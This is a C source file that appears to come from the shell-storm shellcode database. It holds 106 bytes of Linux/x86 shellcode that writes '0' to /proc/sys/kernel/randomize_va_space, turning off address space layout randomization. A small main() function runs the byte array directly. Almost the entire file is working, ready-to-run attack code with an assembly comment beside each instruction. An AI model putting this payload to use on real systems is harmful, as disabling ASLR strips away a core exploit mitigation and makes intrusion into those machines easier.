64 lines
No EOL
2.6 KiB
C
64 lines
No EOL
2.6 KiB
C
/*
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Title: Linux/x86 - Disable randomize stack addresse - 106 bytes
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(Set randomize_va_space to zero)
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Author: Jonathan Salwan <submit (!) shell-storm.org>
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Web: http://www.shell-storm.org
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Twitter: http://twitter.com/jonathansalwan
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!Database of Shellcodes http://www.shell-storm.org/shellcode/
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Date: 2010-05-25
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Tested: Linux 2.6.33 - i686
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! You need root euid
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*/
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#include <stdio.h>
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char sc[] = "\x31\xdb" // xor %ebx,%ebx
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"\x6a\x61" // push $0x61
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"\x89\xe3" // mov %esp,%ebx
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"\xb0\x0a" // mov $0xa,%al
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"\xcd\x80" // int $0x80
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"\x31\xdb" // xor %ebx,%ebx
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"\x6a\x65" // push $0x65
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"\x66\x68\x61\x63" // pushw $0x6361
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"\x68\x61\x5f\x73\x70" // push $0x70735f61
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"\x68\x7a\x65\x5f\x76" // push $0x765f657a
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"\x68\x64\x6f\x6d\x69" // push $0x696d6f64
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"\x68\x2f\x72\x61\x6e" // push $0x6e61722f
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"\x68\x72\x6e\x65\x6c" // push $0x6c656e72
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"\x68\x73\x2f\x6b\x65" // push $0x656b2f73
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"\x68\x63\x2f\x73\x79" // push $0x79732f63
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"\x68\x2f\x70\x72\x6f" // push $0x6f72702f
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"\x89\xe3" // mov %esp,%ebx
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"\x30\xc0" // xor %al,%al
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"\xb0\x11" // mov $0x11,%al
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"\x31\xc9" // xor %ecx,%ecx
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"\x66\xb9\x41\x04" // mov $0x441,%cx
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"\x31\xd2" // xor %edx,%edx
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"\x66\xba\xa4\x01" // mov $0x1a4,%dx
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"\x31\xc0" // xor %eax,%eax
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"\xb0\x05" // mov $0x5,%al
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"\xcd\x80" // int $0x80
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"\x89\xc3" // mov %eax,%ebx
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"\x31\xc9" // xor %ecx,%ecx
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"\x66\x68\x30\x0a" // pushw $0xa30
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"\x89\xe1" // mov %esp,%ecx
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"\x31\xd2" // xor %edx,%edx
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"\xb2\x02" // mov $0x2,%dl
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"\x31\xc0" // xor %eax,%eax
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"\xb0\x04" // mov $0x4,%al
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"\xcd\x80" // int $0x80
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"\xb0\x01" // mov $0x1,%al
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"\xcd\x80"; // int $0x80
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int main(void)
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{
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fprintf(stdout,"Length: %d\n",strlen(sc));
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(*(void(*)()) sc)();
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return 0;
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} |